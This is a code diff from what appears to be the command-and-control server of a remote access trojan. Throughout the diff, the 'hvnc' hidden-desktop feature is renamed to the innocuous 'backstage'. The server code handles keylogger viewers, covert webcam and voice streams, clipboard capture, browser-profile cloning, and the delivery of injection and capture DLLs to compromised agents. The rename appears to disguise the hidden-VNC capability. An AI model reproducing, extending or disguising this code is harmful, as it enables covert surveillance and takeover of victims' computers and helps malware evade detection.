assignIfDefined(out, "recordFps", pickString(input.recordFps, ["", "3", "5", "10", "15", "30", "60"]));
|
||||
} else if (scope === "hvnc") {
|
||||
} else if (scope === "backstage") {
|
||||
assignIfDefined(out, "resolution", pickString(input.resolution, ["720", "1080", "1440", "-1"]));
|
||||
assignIfDefined(out, "dxgi", pickBoolean(input.dxgi));
|
||||
assignIfDefined(out, "uia", pickBoolean(input.uia));
|
||||
|
||||
@@ -103,7 +103,7 @@ const STATIC_PAGES: StaticPageDef[] = [
|
||||
const QUERY_CLIENT_PAGES: QueryClientPageDef[] = [
|
||||
{ path: "/remotedesktop", file: "remotedesktop.html" },
|
||||
{ path: "/webcam", file: "webcam.html" },
|
||||
{ path: "/hvnc", file: "hvnc.html" },
|
||||
{ path: "/backstage", file: "backstage.html" },
|
||||
{ path: "/voice", file: "voice.html" },
|
||||
{ path: "/winre", file: "winre.html" },
|
||||
];
|
||||
|
||||
@@ -24,7 +24,7 @@ export function issueWebrtcPublishToken(clientId: string): string {
|
||||
return token;
|
||||
}
|
||||
|
||||
export type WebrtcKind = "desktop" | "hvnc" | "webcam" | "audio";
|
||||
export type WebrtcKind = "desktop" | "backstage" | "webcam" | "audio";
|
||||
|
||||
export function webrtcStreamPathFor(clientId: string, kind: WebrtcKind): string {
|
||||
return `agents/${clientId}/${kind}`;
|
||||
@@ -35,7 +35,7 @@ export async function handleWebrtcRoutes(req: Request, url: URL): Promise<Respon
|
||||
|
||||
const rest = url.pathname.slice("/api/webrtc/".length);
|
||||
// /api/webrtc/agents/<clientId>/<kind>/(whip|whep)[/<sessionId>]
|
||||
const match = rest.match(/^(agents\/[A-Za-z0-9_.\-]+\/(?:desktop|hvnc|webcam|audio))\/(whip|whep)(\/[A-Za-z0-9_.\-]+)?$/);
|
||||
const match = rest.match(/^(agents\/[A-Za-z0-9_.\-]+\/(?:desktop|backstage|webcam|audio))\/(whip|whep)(\/[A-Za-z0-9_.\-]+)?$/);
|
||||
if (!match) return new Response("Not Found", { status: 404 });
|
||||
|
||||
const [, streamPath, kind, sessionSuffix] = match;
|
||||
|
||||
@@ -182,14 +182,14 @@ type WsLifecycleDeps = {
|
||||
pendingScripts: Map<string, PendingScript>;
|
||||
pendingCommandReplies: Map<string, PendingCommandReply>;
|
||||
rdStreamingState: Map<string, unknown>;
|
||||
hvncStreamingState: Map<string, unknown>;
|
||||
backstageStreamingState: Map<string, unknown>;
|
||||
webcamStreamingState: Map<string, unknown>;
|
||||
getNotificationConfig: () => { keywords?: string[]; minIntervalMs?: number; clipboardEnabled?: boolean };
|
||||
handleDashboardViewerOpen: (ws: ServerWebSocket<SocketData>) => void;
|
||||
handleConsoleViewerOpen: (ws: ServerWebSocket<SocketData>) => void;
|
||||
handleRemoteDesktopViewerOpen: (ws: ServerWebSocket<SocketData>) => void;
|
||||
handleWebcamViewerOpen: (ws: ServerWebSocket<SocketData>) => void;
|
||||
handleHVNCViewerOpen: (ws: ServerWebSocket<SocketData>) => void;
|
||||
handlebackstageViewerOpen: (ws: ServerWebSocket<SocketData>) => void;
|
||||
handleFileBrowserViewerOpen: (ws: ServerWebSocket<SocketData>) => void;
|
||||
handleProcessViewerOpen: (ws: ServerWebSocket<SocketData>) => void;
|
||||
handleKeyloggerViewerOpen: (ws: ServerWebSocket<SocketData>) => void;
|
||||
@@ -201,7 +201,7 @@ type WsLifecycleDeps = {
|
||||
handleConsoleViewerMessage: (ws: ServerWebSocket<SocketData>, raw: string | ArrayBuffer | Uint8Array) => void;
|
||||
handleRemoteDesktopViewerMessage: (ws: ServerWebSocket<SocketData>, raw: string | ArrayBuffer | Uint8Array) => void;
|
||||
handleWebcamViewerMessage: (ws: ServerWebSocket<SocketData>, raw: string | ArrayBuffer | Uint8Array) => void;
|
||||
handleHVNCViewerMessage: (ws: ServerWebSocket<SocketData>, raw: string | ArrayBuffer | Uint8Array) => void;
|
||||
handlebackstageViewerMessage: (ws: ServerWebSocket<SocketData>, raw: string | ArrayBuffer | Uint8Array) => void;
|
||||
handleFileBrowserViewerMessage: (ws: ServerWebSocket<SocketData>, raw: string | ArrayBuffer | Uint8Array) => void;
|
||||
handleProcessViewerMessage: (ws: ServerWebSocket<SocketData>, raw: string | ArrayBuffer | Uint8Array) => void;
|
||||
handleKeyloggerViewerMessage: (ws: ServerWebSocket<SocketData>, raw: string | ArrayBuffer | Uint8Array) => void;
|
||||
@@ -236,13 +236,13 @@ type WsLifecycleDeps = {
|
||||
handleVoiceUplink: (clientId: string, payload: any) => void;
|
||||
handleDesktopAudioUplink: (clientId: string, payload: any) => void;
|
||||
handleWebcamDevices: (clientId: string, payload: any) => void;
|
||||
handleHVNCCloneProgress: (clientId: string, payload: any) => void;
|
||||
handleHVNCLookupResult: (clientId: string, payload: any) => void;
|
||||
handleHVNCBrowserCheckResult: (clientId: string, payload: any) => void;
|
||||
handleHVNCInstalledAppsResult: (clientId: string, payload: any) => void;
|
||||
handleHVNCDXGIStatus: (clientId: string, payload: any) => void;
|
||||
handleHVNCBrowserLaunchStatus: (clientId: string, payload: any) => void;
|
||||
handleHVNCWindowListResult: (clientId: string, payload: any) => void;
|
||||
handlebackstageCloneProgress: (clientId: string, payload: any) => void;
|
||||
handlebackstageLookupResult: (clientId: string, payload: any) => void;
|
||||
handlebackstageBrowserCheckResult: (clientId: string, payload: any) => void;
|
||||
handlebackstageInstalledAppsResult: (clientId: string, payload: any) => void;
|
||||
handlebackstageDXGIStatus: (clientId: string, payload: any) => void;
|
||||
handlebackstageBrowserLaunchStatus: (clientId: string, payload: any) => void;
|
||||
handlebackstageWindowListResult: (clientId: string, payload: any) => void;
|
||||
handleClipboardContent: (clientId: string, payload: any) => void;
|
||||
handleWebrtcP2PAnswer: (clientId: string, payload: any) => void;
|
||||
handleWebrtcP2PIce: (clientId: string, payload: any) => void;
|
||||
@@ -251,7 +251,7 @@ type WsLifecycleDeps = {
|
||||
cleanupDesktopAudioViewer: (ws: ServerWebSocket<SocketData>) => void;
|
||||
stopConsoleOnTarget: (target: ClientInfo | undefined, sessionId: string) => void;
|
||||
sendDesktopCommand: (target: ClientInfo | undefined, commandType: string, payload: Record<string, unknown>) => void;
|
||||
sendHVNCCommand: (target: ClientInfo | undefined, commandType: string, payload: Record<string, unknown>) => void;
|
||||
sendbackstageCommand: (target: ClientInfo | undefined, commandType: string, payload: Record<string, unknown>) => void;
|
||||
notifyConsoleClosed: (clientId: string, reason: string) => void;
|
||||
clearPendingNotificationScreenshots: (clientId: string) => void;
|
||||
clearClientPluginState: (clientId: string) => void;
|
||||
@@ -327,7 +327,7 @@ export function handleWebSocketOpen(ws: ServerWebSocket<SocketData>, deps: WsLif
|
||||
if (role === "console_viewer") return deps.handleConsoleViewerOpen(ws);
|
||||
if (role === "rd_viewer") return deps.handleRemoteDesktopViewerOpen(ws);
|
||||
if (role === "webcam_viewer") return deps.handleWebcamViewerOpen(ws);
|
||||
if (role === "hvnc_viewer") return deps.handleHVNCViewerOpen(ws);
|
||||
if (role === "backstage_viewer") return deps.handlebackstageViewerOpen(ws);
|
||||
if (role === "file_browser_viewer") return deps.handleFileBrowserViewerOpen(ws);
|
||||
if (role === "process_viewer") return deps.handleProcessViewerOpen(ws);
|
||||
if (role === "keylogger_viewer") return deps.handleKeyloggerViewerOpen(ws);
|
||||
@@ -377,7 +377,7 @@ export async function handleWebSocketMessage(
|
||||
if (socketRole === "console_viewer") return deps.handleConsoleViewerMessage(ws, message);
|
||||
if (socketRole === "rd_viewer") return deps.handleRemoteDesktopViewerMessage(ws, message);
|
||||
if (socketRole === "webcam_viewer") return deps.handleWebcamViewerMessage(ws, message);
|
||||
if (socketRole === "hvnc_viewer") return deps.handleHVNCViewerMessage(ws, message);
|
||||
if (socketRole === "backstage_viewer") return deps.handlebackstageViewerMessage(ws, message);
|
||||
if (socketRole === "file_browser_viewer") return deps.handleFileBrowserViewerMessage(ws, message);
|
||||
if (socketRole === "process_viewer") return deps.handleProcessViewerMessage(ws, message);
|
||||
if (socketRole === "keylogger_viewer") return deps.handleKeyloggerViewerMessage(ws, message);
|
||||
@@ -641,7 +641,7 @@ export async function handleWebSocketMessage(
|
||||
}
|
||||
}
|
||||
deps.rdStreamingState.delete(resolvedId);
|
||||
deps.hvncStreamingState.delete(resolvedId);
|
||||
deps.backstageStreamingState.delete(resolvedId);
|
||||
deps.webcamStreamingState.delete(resolvedId);
|
||||
}
|
||||
|
||||
@@ -899,26 +899,26 @@ export async function handleWebSocketMessage(
|
||||
deps.handleWebcamDevices(client.id, payload);
|
||||
deps.notifyDashboard();
|
||||
break;
|
||||
case "hvnc_clone_progress":
|
||||
deps.handleHVNCCloneProgress(client.id, payload);
|
||||
case "backstage_clone_progress":
|
||||
deps.handlebackstageCloneProgress(client.id, payload);
|
||||
break;
|
||||
case "hvnc_lookup_result":
|
||||
deps.handleHVNCLookupResult(client.id, payload);
|
||||
case "backstage_lookup_result":
|
||||
deps.handlebackstageLookupResult(client.id, payload);
|
||||
break;
|
||||
case "hvnc_browser_check_result":
|
||||
deps.handleHVNCBrowserCheckResult(client.id, payload);
|
||||
case "backstage_browser_check_result":
|
||||
deps.handlebackstageBrowserCheckResult(client.id, payload);
|
||||
break;
|
||||
case "hvnc_installed_apps_result":
|
||||
deps.handleHVNCInstalledAppsResult(client.id, payload);
|
||||
case "backstage_installed_apps_result":
|
||||
deps.handlebackstageInstalledAppsResult(client.id, payload);
|
||||
break;
|
||||
case "hvnc_dxgi_status":
|
||||
deps.handleHVNCDXGIStatus(client.id, payload);
|
||||
case "backstage_dxgi_status":
|
||||
deps.handlebackstageDXGIStatus(client.id, payload);
|
||||
break;
|
||||
case "hvnc_browser_launch_status":
|
||||
deps.handleHVNCBrowserLaunchStatus(client.id, payload);
|
||||
case "backstage_browser_launch_status":
|
||||
deps.handlebackstageBrowserLaunchStatus(client.id, payload);
|
||||
break;
|
||||
case "hvnc_window_list_result":
|
||||
deps.handleHVNCWindowListResult(client.id, payload);
|
||||
case "backstage_window_list_result":
|
||||
deps.handlebackstageWindowListResult(client.id, payload);
|
||||
break;
|
||||
case "clipboard_content":
|
||||
deps.handleClipboardContent(client.id, payload);
|
||||
@@ -1028,26 +1028,26 @@ export function handleWebSocketClose(
|
||||
return;
|
||||
}
|
||||
|
||||
if (role === "hvnc_viewer") {
|
||||
if (role === "backstage_viewer") {
|
||||
deps.cleanupRdViewerP2P(ws);
|
||||
let removedClientId = clientId;
|
||||
for (const [sid, sess] of sessionManager.getAllHvncSessions().entries()) {
|
||||
for (const [sid, sess] of sessionManager.getAllbackstageSessions().entries()) {
|
||||
if (sess.viewer === ws) {
|
||||
removedClientId = sess.clientId;
|
||||
sessionManager.deleteHvncSession(sid);
|
||||
sessionManager.deletebackstageSession(sid);
|
||||
break;
|
||||
}
|
||||
}
|
||||
|
||||
const stillViewing = sessionManager.hasHvncSessionsForClient(removedClientId);
|
||||
const stillViewing = sessionManager.hasbackstageSessionsForClient(removedClientId);
|
||||
if (!stillViewing) {
|
||||
const target = clientManager.getClient(removedClientId);
|
||||
if (target) {
|
||||
deps.sendHVNCCommand(target, "hvnc_stop", {});
|
||||
deps.sendHVNCCommand(target, "webrtc_stop", { kind: "hvnc" });
|
||||
deps.sendbackstageCommand(target, "backstage_stop", {});
|
||||
deps.sendbackstageCommand(target, "webrtc_stop", { kind: "backstage" });
|
||||
}
|
||||
deps.hvncStreamingState.delete(removedClientId);
|
||||
logger.debug(`[hvnc] cleaned up state for client ${removedClientId}`);
|
||||
deps.backstageStreamingState.delete(removedClientId);
|
||||
logger.debug(`[backstage] cleaned up state for client ${removedClientId}`);
|
||||
}
|
||||
return;
|
||||
}
|
||||
@@ -1131,7 +1131,7 @@ export function handleWebSocketClose(
|
||||
}
|
||||
}
|
||||
deps.rdStreamingState.delete(clientId);
|
||||
deps.hvncStreamingState.delete(clientId);
|
||||
deps.backstageStreamingState.delete(clientId);
|
||||
deps.webcamStreamingState.delete(clientId);
|
||||
stopRemoteDesktopRecording(clientId, "client disconnected");
|
||||
|
||||
|
||||
@@ -92,9 +92,9 @@ const clientViewerUpgradeRoutes: ClientViewerUpgradeRoute[] = [
|
||||
feature: "remote_desktop",
|
||||
},
|
||||
{
|
||||
pattern: /^\/api\/clients\/(.+)\/hvnc\/ws$/,
|
||||
role: "hvnc_viewer",
|
||||
feature: "hvnc",
|
||||
pattern: /^\/api\/clients\/(.+)\/backstage\/ws$/,
|
||||
role: "backstage_viewer",
|
||||
feature: "backstage",
|
||||
},
|
||||
{
|
||||
pattern: /^\/api\/clients\/(.+)\/webcam\/ws$/,
|
||||
|
||||
@@ -2,7 +2,7 @@ import type { ServerWebSocket } from "bun";
|
||||
import { v4 as uuidv4 } from "uuid";
|
||||
import type { SocketData } from "../sessions/types";
|
||||
|
||||
export type P2PKind = "desktop" | "hvnc" | "webcam" | "audio";
|
||||
export type P2PKind = "desktop" | "backstage" | "webcam" | "audio";
|
||||
|
||||
export type P2PSession = {
|
||||
viewer: ServerWebSocket<SocketData>;
|
||||
|
||||
+16
-16
@@ -5,13 +5,13 @@ import * as sessionManager from "../sessions/sessionManager";
|
||||
import type { SocketData } from "../sessions/types";
|
||||
import type { ClientInfo } from "../types";
|
||||
import {
|
||||
handleHVNCViewerMessage,
|
||||
handleHVNCViewerOpen,
|
||||
handlebackstageViewerMessage,
|
||||
handlebackstageViewerOpen,
|
||||
handleRemoteDesktopViewerMessage,
|
||||
handleRemoteDesktopViewerOpen,
|
||||
hvncStreamingState,
|
||||
backstageStreamingState,
|
||||
rdStreamingState,
|
||||
} from "./ws-console-rd-hvnc";
|
||||
} from "./ws-console-rd-backstage";
|
||||
|
||||
type MockWs = {
|
||||
data: SocketData;
|
||||
@@ -73,11 +73,11 @@ afterEach(() => {
|
||||
for (const session of sessionManager.getRdSessionsForClient(clientId)) {
|
||||
sessionManager.deleteRdSession(session.id);
|
||||
}
|
||||
for (const session of sessionManager.getHvncSessionsForClient(clientId)) {
|
||||
sessionManager.deleteHvncSession(session.id);
|
||||
for (const session of sessionManager.getbackstageSessionsForClient(clientId)) {
|
||||
sessionManager.deletebackstageSession(session.id);
|
||||
}
|
||||
rdStreamingState.delete(clientId);
|
||||
hvncStreamingState.delete(clientId);
|
||||
backstageStreamingState.delete(clientId);
|
||||
clientManager.deleteClient(clientId);
|
||||
}
|
||||
clientIdsToCleanup.clear();
|
||||
@@ -158,14 +158,14 @@ describe("remote desktop viewer control", () => {
|
||||
});
|
||||
});
|
||||
|
||||
describe("hvnc viewer control", () => {
|
||||
test("forwards hvnc_stop even when server stream state is stale", () => {
|
||||
const clientId = `hvnc-stale-stop-${Date.now().toString(36)}`;
|
||||
describe("backstage viewer control", () => {
|
||||
test("forwards backstage_stop even when server stream state is stale", () => {
|
||||
const clientId = `backstage-stale-stop-${Date.now().toString(36)}`;
|
||||
const { agentWs } = createClient(clientId);
|
||||
const viewer = createMockWs({ role: "hvnc_viewer", clientId });
|
||||
const viewer = createMockWs({ role: "backstage_viewer", clientId });
|
||||
|
||||
handleHVNCViewerOpen(viewer as any);
|
||||
hvncStreamingState.set(clientId, {
|
||||
handlebackstageViewerOpen(viewer as any);
|
||||
backstageStreamingState.set(clientId, {
|
||||
isStreaming: false,
|
||||
virtualMode: true,
|
||||
display: 0,
|
||||
@@ -175,11 +175,11 @@ describe("hvnc viewer control", () => {
|
||||
lastFps: 0,
|
||||
});
|
||||
|
||||
handleHVNCViewerMessage(viewer as any, JSON.stringify({ type: "hvnc_stop" }));
|
||||
handlebackstageViewerMessage(viewer as any, JSON.stringify({ type: "backstage_stop" }));
|
||||
|
||||
const commands = agentCommands(agentWs);
|
||||
expect(commands.filter((msg) => msg.commandType === "hvnc_stop")).toHaveLength(1);
|
||||
expect(commands.filter((msg) => msg.commandType === "backstage_stop")).toHaveLength(1);
|
||||
expect(commands.filter((msg) => msg.commandType === "webrtc_stop")).toHaveLength(1);
|
||||
expect(hvncStreamingState.get(clientId)?.isStreaming).toBe(false);
|
||||
expect(backstageStreamingState.get(clientId)?.isStreaming).toBe(false);
|
||||
});
|
||||
});
|
||||
+136
-136
@@ -57,7 +57,7 @@ function getInjectionDllBytes(): Uint8Array | null {
|
||||
}
|
||||
_cachedInjectionDll = new Uint8Array(readFileSync(_dllCachePath));
|
||||
_dllCacheMtimeMs = st.mtimeMs;
|
||||
logger.info(`[hvnc] reloaded injection DLL from ${_dllCachePath} (${_cachedInjectionDll.length} bytes)`);
|
||||
logger.info(`[backstage] reloaded injection DLL from ${_dllCachePath} (${_cachedInjectionDll.length} bytes)`);
|
||||
return _cachedInjectionDll;
|
||||
} catch {
|
||||
_dllCachePath = null;
|
||||
@@ -73,14 +73,14 @@ function getInjectionDllBytes(): Uint8Array | null {
|
||||
_cachedInjectionDll = new Uint8Array(readFileSync(dllPath));
|
||||
_dllCachePath = dllPath;
|
||||
_dllCacheMtimeMs = st.mtimeMs;
|
||||
logger.info(`[hvnc] loaded injection DLL from ${dllPath} (${_cachedInjectionDll.length} bytes)`);
|
||||
logger.info(`[backstage] loaded injection DLL from ${dllPath} (${_cachedInjectionDll.length} bytes)`);
|
||||
return _cachedInjectionDll;
|
||||
} catch {
|
||||
continue;
|
||||
}
|
||||
}
|
||||
|
||||
logger.warn(`[hvnc] injection DLL not found. Checked: ${candidates.join(", ")}`);
|
||||
logger.warn(`[backstage] injection DLL not found. Checked: ${candidates.join(", ")}`);
|
||||
return null;
|
||||
}
|
||||
|
||||
@@ -101,7 +101,7 @@ function getCaptureDllBytes(): Uint8Array | null {
|
||||
}
|
||||
_cachedCaptureDll = new Uint8Array(readFileSync(_captureDllCachePath));
|
||||
_captureDllCacheMtimeMs = st.mtimeMs;
|
||||
logger.info(`[hvnc] reloaded capture DLL from ${_captureDllCachePath} (${_cachedCaptureDll.length} bytes)`);
|
||||
logger.info(`[backstage] reloaded capture DLL from ${_captureDllCachePath} (${_cachedCaptureDll.length} bytes)`);
|
||||
return _cachedCaptureDll;
|
||||
} catch {
|
||||
_captureDllCachePath = null;
|
||||
@@ -117,7 +117,7 @@ function getCaptureDllBytes(): Uint8Array | null {
|
||||
_cachedCaptureDll = new Uint8Array(readFileSync(dllPath));
|
||||
_captureDllCachePath = dllPath;
|
||||
_captureDllCacheMtimeMs = st.mtimeMs;
|
||||
logger.info(`[hvnc] loaded capture DLL from ${dllPath} (${_cachedCaptureDll.length} bytes)`);
|
||||
logger.info(`[backstage] loaded capture DLL from ${dllPath} (${_cachedCaptureDll.length} bytes)`);
|
||||
return _cachedCaptureDll;
|
||||
} catch {
|
||||
continue;
|
||||
@@ -792,7 +792,7 @@ function broadcastRemoteDesktopFrame(clientId: string, bytes: Uint8Array, header
|
||||
return broadcastRemoteDesktopFrame(clientId, bytes, header);
|
||||
};
|
||||
|
||||
type HVNCStreamingState = {
|
||||
type backstageStreamingState = {
|
||||
isStreaming: boolean;
|
||||
virtualMode: boolean;
|
||||
display: number;
|
||||
@@ -802,11 +802,11 @@ type HVNCStreamingState = {
|
||||
lastFps: number;
|
||||
};
|
||||
|
||||
function defaultHVNCStreamingState(): HVNCStreamingState {
|
||||
function defaultbackstageStreamingState(): backstageStreamingState {
|
||||
return { isStreaming: false, virtualMode: false, display: 0, quality: 90, codec: "", maxFps: 120, lastFps: 0 };
|
||||
}
|
||||
|
||||
export const hvncStreamingState = new Map<string, HVNCStreamingState>();
|
||||
export const backstageStreamingState = new Map<string, backstageStreamingState>();
|
||||
export const webcamStreamingState = new Map<string, { isStreaming: boolean; deviceIndex: number; fps: number; useMax: boolean; quality: number; codec: string }>();
|
||||
|
||||
export function handleWebcamViewerOpen(ws: ServerWebSocket<SocketData>) {
|
||||
@@ -850,10 +850,10 @@ export function handleWebcamDevices(clientId: string, payload: any) {
|
||||
}
|
||||
}
|
||||
|
||||
export function handleHVNCCloneProgress(clientId: string, payload: any) {
|
||||
for (const session of sessionManager.getHvncSessionsForClient(clientId)) {
|
||||
export function handlebackstageCloneProgress(clientId: string, payload: any) {
|
||||
for (const session of sessionManager.getbackstageSessionsForClient(clientId)) {
|
||||
safeSendViewer(session.viewer, {
|
||||
type: "hvnc_clone_progress",
|
||||
type: "backstage_clone_progress",
|
||||
browser: String(payload.browser || ""),
|
||||
percent: Number(payload.percent) || 0,
|
||||
copiedBytes: Number(payload.copiedBytes) || 0,
|
||||
@@ -863,10 +863,10 @@ export function handleHVNCCloneProgress(clientId: string, payload: any) {
|
||||
}
|
||||
}
|
||||
|
||||
export function handleHVNCLookupResult(clientId: string, payload: any) {
|
||||
for (const session of sessionManager.getHvncSessionsForClient(clientId)) {
|
||||
export function handlebackstageLookupResult(clientId: string, payload: any) {
|
||||
for (const session of sessionManager.getbackstageSessionsForClient(clientId)) {
|
||||
safeSendViewer(session.viewer, {
|
||||
type: "hvnc_lookup_result",
|
||||
type: "backstage_lookup_result",
|
||||
exe: String(payload.exe || ""),
|
||||
path: String(payload.path || ""),
|
||||
done: !!payload.done,
|
||||
@@ -874,22 +874,22 @@ export function handleHVNCLookupResult(clientId: string, payload: any) {
|
||||
}
|
||||
}
|
||||
|
||||
export function handleHVNCBrowserCheckResult(clientId: string, payload: any) {
|
||||
export function handlebackstageBrowserCheckResult(clientId: string, payload: any) {
|
||||
const browsers: Record<string, boolean> = {};
|
||||
if (payload.browsers && typeof payload.browsers === "object") {
|
||||
for (const [key, val] of Object.entries(payload.browsers)) {
|
||||
browsers[key] = !!val;
|
||||
}
|
||||
}
|
||||
for (const session of sessionManager.getHvncSessionsForClient(clientId)) {
|
||||
for (const session of sessionManager.getbackstageSessionsForClient(clientId)) {
|
||||
safeSendViewer(session.viewer, {
|
||||
type: "hvnc_browser_check_result",
|
||||
type: "backstage_browser_check_result",
|
||||
browsers,
|
||||
});
|
||||
}
|
||||
}
|
||||
|
||||
export function handleHVNCInstalledAppsResult(clientId: string, payload: any) {
|
||||
export function handlebackstageInstalledAppsResult(clientId: string, payload: any) {
|
||||
const apps: Array<{ name: string; exePath: string; icon: string }> = [];
|
||||
if (Array.isArray(payload.apps)) {
|
||||
for (const app of payload.apps) {
|
||||
@@ -900,19 +900,19 @@ export function handleHVNCInstalledAppsResult(clientId: string, payload: any) {
|
||||
});
|
||||
}
|
||||
}
|
||||
for (const session of sessionManager.getHvncSessionsForClient(clientId)) {
|
||||
for (const session of sessionManager.getbackstageSessionsForClient(clientId)) {
|
||||
safeSendViewer(session.viewer, {
|
||||
type: "hvnc_installed_apps_result",
|
||||
type: "backstage_installed_apps_result",
|
||||
apps,
|
||||
done: !!payload.done,
|
||||
});
|
||||
}
|
||||
}
|
||||
|
||||
export function handleHVNCDXGIStatus(clientId: string, payload: any) {
|
||||
for (const session of sessionManager.getHvncSessionsForClient(clientId)) {
|
||||
export function handlebackstageDXGIStatus(clientId: string, payload: any) {
|
||||
for (const session of sessionManager.getbackstageSessionsForClient(clientId)) {
|
||||
safeSendViewer(session.viewer, {
|
||||
type: "hvnc_dxgi_status",
|
||||
type: "backstage_dxgi_status",
|
||||
success: !!payload.success,
|
||||
gpuPid: Number(payload.gpuPid) || 0,
|
||||
message: String(payload.message || ""),
|
||||
@@ -920,10 +920,10 @@ export function handleHVNCDXGIStatus(clientId: string, payload: any) {
|
||||
}
|
||||
}
|
||||
|
||||
export function handleHVNCBrowserLaunchStatus(clientId: string, payload: any) {
|
||||
for (const session of sessionManager.getHvncSessionsForClient(clientId)) {
|
||||
export function handlebackstageBrowserLaunchStatus(clientId: string, payload: any) {
|
||||
for (const session of sessionManager.getbackstageSessionsForClient(clientId)) {
|
||||
safeSendViewer(session.viewer, {
|
||||
type: "hvnc_browser_launch_status",
|
||||
type: "backstage_browser_launch_status",
|
||||
browser: String(payload.browser || ""),
|
||||
step: String(payload.step || ""),
|
||||
success: !!payload.success,
|
||||
@@ -932,7 +932,7 @@ export function handleHVNCBrowserLaunchStatus(clientId: string, payload: any) {
|
||||
}
|
||||
}
|
||||
|
||||
export function handleHVNCWindowListResult(clientId: string, payload: any) {
|
||||
export function handlebackstageWindowListResult(clientId: string, payload: any) {
|
||||
const windows: Array<{
|
||||
title: string; x: number; y: number; width: number; height: number;
|
||||
pid: number; processName: string; monitor: number;
|
||||
@@ -968,8 +968,8 @@ export function handleHVNCWindowListResult(clientId: string, payload: any) {
|
||||
});
|
||||
}
|
||||
}
|
||||
for (const session of sessionManager.getHvncSessionsForClient(clientId)) {
|
||||
safeSendViewer(session.viewer, { type: "hvnc_window_list_result", windows, monitors });
|
||||
for (const session of sessionManager.getbackstageSessionsForClient(clientId)) {
|
||||
safeSendViewer(session.viewer, { type: "backstage_window_list_result", windows, monitors });
|
||||
}
|
||||
}
|
||||
|
||||
@@ -977,8 +977,8 @@ export function handleClipboardContent(clientId: string, payload: any) {
|
||||
const text = String(payload.text || "");
|
||||
const source = String(payload.source || "");
|
||||
if (!text) return;
|
||||
if (source === "hvnc") {
|
||||
for (const session of sessionManager.getHvncSessionsForClient(clientId)) {
|
||||
if (source === "backstage") {
|
||||
for (const session of sessionManager.getbackstageSessionsForClient(clientId)) {
|
||||
safeSendViewer(session.viewer, { type: "clipboard_content", text, source });
|
||||
}
|
||||
} else {
|
||||
@@ -1110,7 +1110,7 @@ export function handleWebcamViewerMessage(ws: ServerWebSocket<SocketData>, raw:
|
||||
}
|
||||
}
|
||||
|
||||
export function handleHVNCViewerOpen(ws: ServerWebSocket<SocketData>) {
|
||||
export function handlebackstageViewerOpen(ws: ServerWebSocket<SocketData>) {
|
||||
const { clientId, userId, userRole } = ws.data;
|
||||
if (userId !== undefined && userRole && !canUserAccessClient(userId, userRole as any, clientId)) {
|
||||
ws.close(1008, "Forbidden: client access denied");
|
||||
@@ -1120,7 +1120,7 @@ export function handleHVNCViewerOpen(ws: ServerWebSocket<SocketData>) {
|
||||
ws.data.sessionId = sessionId;
|
||||
const target = clientManager.getClient(clientId);
|
||||
const session: RemoteDesktopViewer = { id: sessionId, clientId, viewer: ws, createdAt: Date.now() };
|
||||
sessionManager.addHvncSession(session);
|
||||
sessionManager.addbackstageSession(session);
|
||||
safeSendViewer(ws, { type: "ready", sessionId, clientId, clientOnline: !!target });
|
||||
if (!target) {
|
||||
safeSendViewer(ws, { type: "status", status: "offline", reason: "Client is offline", sessionId });
|
||||
@@ -1129,8 +1129,8 @@ export function handleHVNCViewerOpen(ws: ServerWebSocket<SocketData>) {
|
||||
safeSendViewer(ws, { type: "status", status: "connecting", sessionId });
|
||||
}
|
||||
|
||||
function notifyHVNCStatus(clientId: string, status: string, reason?: string) {
|
||||
for (const session of sessionManager.getHvncSessionsForClient(clientId)) {
|
||||
function notifybackstageStatus(clientId: string, status: string, reason?: string) {
|
||||
for (const session of sessionManager.getbackstageSessionsForClient(clientId)) {
|
||||
safeSendViewer(session.viewer, {
|
||||
type: "status",
|
||||
status,
|
||||
@@ -1140,7 +1140,7 @@ function notifyHVNCStatus(clientId: string, status: string, reason?: string) {
|
||||
}
|
||||
}
|
||||
|
||||
export function handleHVNCViewerMessage(ws: ServerWebSocket<SocketData>, raw: string | ArrayBuffer | Uint8Array) {
|
||||
export function handlebackstageViewerMessage(ws: ServerWebSocket<SocketData>, raw: string | ArrayBuffer | Uint8Array) {
|
||||
const payload = decodeViewerPayload(raw);
|
||||
if (!payload) return;
|
||||
if (!payload || typeof payload.type !== "string") return;
|
||||
@@ -1151,27 +1151,27 @@ export function handleHVNCViewerMessage(ws: ServerWebSocket<SocketData>, raw: st
|
||||
return;
|
||||
}
|
||||
|
||||
const state = hvncStreamingState.get(clientId) || defaultHVNCStreamingState();
|
||||
const state = backstageStreamingState.get(clientId) || defaultbackstageStreamingState();
|
||||
|
||||
logger.debug(`[hvnc] inbound viewer msg type=${payload.type} client=${clientId}`);
|
||||
logger.debug(`[backstage] inbound viewer msg type=${payload.type} client=${clientId}`);
|
||||
switch (payload.type) {
|
||||
case "hvnc_start":
|
||||
case "backstage_start":
|
||||
{
|
||||
const virtualMode = (payload as any).virtual_mode === true || (payload as any).hidden_mode === true;
|
||||
if (state.isStreaming && state.virtualMode !== virtualMode) {
|
||||
sendHVNCCommand(target, "hvnc_stop", {});
|
||||
sendbackstageCommand(target, "backstage_stop", {});
|
||||
state.isStreaming = false;
|
||||
logger.debug(`[hvnc] restarting stream to change virtual_mode=${state.virtualMode} -> ${virtualMode}`);
|
||||
logger.debug(`[backstage] restarting stream to change virtual_mode=${state.virtualMode} -> ${virtualMode}`);
|
||||
}
|
||||
if (!state.isStreaming) {
|
||||
if ((payload as any).webrtc === true) {
|
||||
const streamPath = webrtcStreamPathFor(clientId, "hvnc");
|
||||
const streamPath = webrtcStreamPathFor(clientId, "backstage");
|
||||
const token = issueWebrtcPublishToken(clientId);
|
||||
sendHVNCCommand(target, "webrtc_publish", {
|
||||
sendbackstageCommand(target, "webrtc_publish", {
|
||||
streamPath,
|
||||
whipPath: `/api/webrtc/${streamPath}/whip`,
|
||||
token,
|
||||
kind: "hvnc",
|
||||
kind: "backstage",
|
||||
hasVideo: true,
|
||||
hasAudio: false,
|
||||
});
|
||||
@@ -1181,149 +1181,149 @@ export function handleHVNCViewerMessage(ws: ServerWebSocket<SocketData>, raw: st
|
||||
whepPath: `/api/webrtc/${streamPath}/whep`,
|
||||
});
|
||||
}
|
||||
sendHVNCCommand(target, "hvnc_set_fps", { fps: clampDesktopFps(state.maxFps) });
|
||||
sendHVNCCommand(target, "hvnc_start", {
|
||||
sendbackstageCommand(target, "backstage_set_fps", { fps: clampDesktopFps(state.maxFps) });
|
||||
sendbackstageCommand(target, "backstage_start", {
|
||||
autoStartExplorer: false,
|
||||
...(virtualMode ? { virtual_mode: true } : {}),
|
||||
});
|
||||
state.isStreaming = true;
|
||||
state.virtualMode = virtualMode;
|
||||
